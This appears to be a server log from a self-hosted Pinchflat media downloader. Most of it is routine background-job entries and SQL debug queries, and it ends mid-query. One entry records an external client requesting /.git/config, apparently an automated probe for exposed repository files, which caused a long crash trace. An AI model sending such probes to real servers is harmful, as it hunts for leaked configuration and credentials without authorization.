{"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:57:00.915 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:30.917 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:00.598 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:58:00.919 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:30.921 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:00.599 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:59:00.923 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:30.925 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:00.600 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:00:00.927 [info] {"source":"oban","duration":1138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:21.204 [info] GET /.git/config 00:00:21.205 [debug] QUERY OK source="settings" db=0.4ms idle=559.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:00:21.206 [debug] QUERY OK source="settings" db=0.1ms idle=560.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:00:21.206 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 00:00:21.206 [error] #PID<0.262959.0> running PinchflatWeb.Endpoint (connection #PID<0.262958.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.262958.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 38502}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Microsoft URL Control - 6.00.8862", "x-forwarded-for" => "45.148.10.250", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "45.148.10.250" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.262959.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Microsoft URL Control - 6.00.8862"}, {"x-forwarded-for", "45.148.10.250"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "45.148.10.250"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIECz_tZ1mXa9bgAMREC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.262958.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 38502}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Microsoft URL Control - 6.00.8862", "x-forwarded-for" => "45.148.10.250", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "45.148.10.250" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.262958.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 38502}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Microsoft URL Control - 6.00.8862", "x-forwarded-for" => "45.148.10.250", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "45.148.10.250" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.262959.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Microsoft URL Control - 6.00.8862"}, {"x-forwarded-for", "45.148.10.250"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "45.148.10.250"} ], request_pa (truncated) 00:00:30.929 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:00.601 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:01:00.931 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:30.933 [info] {"source":"oban","duration":1659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:00.602 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:02:00.935 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:30.937 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:00.603 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:03:00.939 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:30.941 [info] {"source":"oban","duration":1729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:00.604 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:04:00.943 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:30.946 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:00.605 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:05:00.948 [info] {"source":"oban","duration":972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:30.950 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:00.606 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:06:00.952 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:30.954 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:00.607 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:07:00.956 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:30.958 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:00.608 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:08:00.959 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:30.962 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:00.609 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:09:00.964 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:30.966 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:00.610 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:10:00.969 [info] {"source":"oban","duration":1035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:30.971 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:00.611 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:11:00.974 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:30.976 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:00.612 [info] {"source":"oban","duration":229,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:12:00.978 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:30.980 [info] {"source":"oban","duration":1637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:00.613 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:13:00.982 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:30.984 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:00.614 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:14:00.986 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:30.988 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:00.615 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:15:00.990 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:30.992 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:00.616 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:16:00.994 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:30.996 [info] {"source":"oban","duration":972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:00.617 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:17:00.998 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:31.000 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:00.618 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:18:01.002 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:31.004 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:00.619 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:19:01.006 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:31.008 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:00.620 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:20:01.010 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:31.012 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:00.621 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:21:01.014 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:31.016 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:00.622 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:22:01.018 [info] {"source":"oban","duration":1684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:31.020 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:00.623 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:23:01.022 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:31.024 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:00.624 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:24:01.026 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:31.028 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:00.625 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:25:01.029 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:31.031 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:00.626 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:26:01.033 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:31.035 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:00.627 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:27:01.037 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:31.039 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:00.628 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:28:01.041 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:31.043 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:00.630 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:29:01.045 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:31.047 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:00.631 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:30:01.049 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:31.051 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:00.632 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:31:01.053 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:31.055 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:00.633 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:32:01.057 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:31.059 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:00.634 [info] {"source":"oban","duration":253,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:33:01.061 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:31.063 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:00.635 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:34:01.065 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:31.067 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:00.636 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:35:01.069 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:31.070 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:00.637 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:36:01.073 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:31.075 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:00.638 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:37:01.077 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:31.079 [info] {"source":"oban","duration":1626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:00.639 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:38:01.082 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:31.084 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:00.640 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:39:01.086 [info] {"source":"oban","duration":1785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:31.089 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:00.641 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:40:01.091 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:31.093 [info] {"source":"oban","duration":1083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:00.642 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:41:01.095 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:31.097 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:00.643 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:42:01.099 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:31.102 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:00.644 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:43:01.104 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:31.106 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:00.645 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:44:01.108 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:31.110 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:00.646 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:45:01.112 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:31.114 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:00.647 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:46:01.116 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:31.118 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:00.648 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:47:01.120 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:12.745 [info] {"args":{"id":4},"id":2582,"meta":{},"system_time":1765698432745653862,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 00:47:12.747 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=101.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:12.748 [debug] QUERY OK source="settings" db=0.6ms idle=102.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:12.750 [debug] QUERY OK source="media_items" db=1.0ms idle=103.6ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 00:47:12.750 [debug] QUERY OK source="media_items" db=0.3ms idle=11.8ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [4] 00:47:12.751 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" 